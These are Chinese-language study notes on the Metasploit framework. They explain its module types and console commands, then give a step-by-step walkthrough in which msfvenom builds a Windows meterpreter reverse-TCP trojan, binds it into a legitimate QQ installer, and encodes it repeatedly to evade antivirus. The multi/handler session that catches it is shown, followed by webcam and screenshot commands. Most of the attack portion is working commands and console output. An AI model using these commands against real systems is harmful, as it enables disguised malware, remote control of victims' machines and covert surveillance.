f49770df-1c15-4299-af68-eb833f0aad参考文献https://blog.csdn.net/RFZ_322/article/details/123367668
[!note]+ # MSF架构——技术功能模块 MSF默认存放模块的目录如下
/usr/share/metasploit-framework/modules/MSF有6个模块,分别对上面目录下的6个子文件夹:一,auxiliary
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
二,exploits
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
三,payloads
攻击载荷模块,攻击成功后促使靶机运行的一段植入代码。 成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell。
- single:all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
- stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
- stages:利用stagers建立的连接下载后续payload
四,encoders
对payload进行加密,躲避AntiVirus【防护软件】检查的模块,编码模块。
五,nops
提高payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区, 这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存 地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。
六,post
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作。 [!note]+ # msfdb指令 用来管理MSF的数据库的命令
msfdb init # start and initialize the database msfdb reinit # delete and reinitialize the database msfdb delete # delete database and stop using it msfdb start # start the database msfdb stop # stop the database msfdb status # check service status msfdb run # start the database and run msfconsole[!note]+ # MSF基础指令
msfconsole #打开msf help/? #帮助菜单 exit #退出msf控制台 Back #返回上一级 info #显示一个或多个模块信息 show #显示所给类型的模块 exp:show auxiliary、show payloads background #将当前操作在后台运行 use #使用所选择的模块 set #设置选项 unset #取消设置的选项 info 模块名 #显示模块信息 search 应用名 #exp:search reverse_tcp search name #所要搜索的名称 type:属于msf中的哪个模块:exp:search name:ms17 type:auxiliary host -c mac #msf主机管理[!note]+ # msfvenom指令案例
msfvenom -l encoders #查看MSF编码方式 #生成木马捆绑在正常的安装包上并进行MSF编码使其具备免杀能力 msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=4444 -e x86/shikata_ga_nai -x QQ9.5.9.28650.exe -i 12 -f exe -o /root/Desktop/csdn.exe -e:指定编码方式对攻击载荷进行重新编码 -x:指定木马捆绑在哪个可执行程序模版上 -i:指定对目标进行编码的次数,多次编码理论上来讲有助于免杀生成的木马[!note]+ # 操作实例: 首先输入msfconsole打开软件然后输入show payloads查看有哪些payloads可以用 然后找到windows/x64/meterpreter_reverse_tcp前面加use使用,然后show options查看用法 然后再打开一个终端查看IP
ifconfig输入指令生产木马文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.55 lport=4444 -f exe -o /root/payload.exe使用finalshell提取文件【注意杀毒软件】 使用*msfconsole*指令打开 启动handler模块作为主控端,
msf6 > use exploit/multi/handler设置前面生成的被控制端程序,然后等待被控制端连接:
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.43.120 lhost => 192.168.43.120 msf5 exploit(multi/handler) > set lport 5000 lport => 5000 msf5 exploit(multi/handler) > exploit在被控制端运行木马文件 控制端出现meterpreter > 代表控制成功
[*] Started reverse TCP handler on 192.168.2.55:4444 [*] Sending stage (175686 bytes) to 192.168.2.203 [*] Meterpreter session 1 opened (192.168.2.55:4444 -> 192.168.2.203:4200) at 2022-08-09 16:38:42 +0800 meterpreter >meterpreter控制指令
截图命令:screenshot 摄像头列表命令:webcam_list 摄像头启动命令:webcam_snap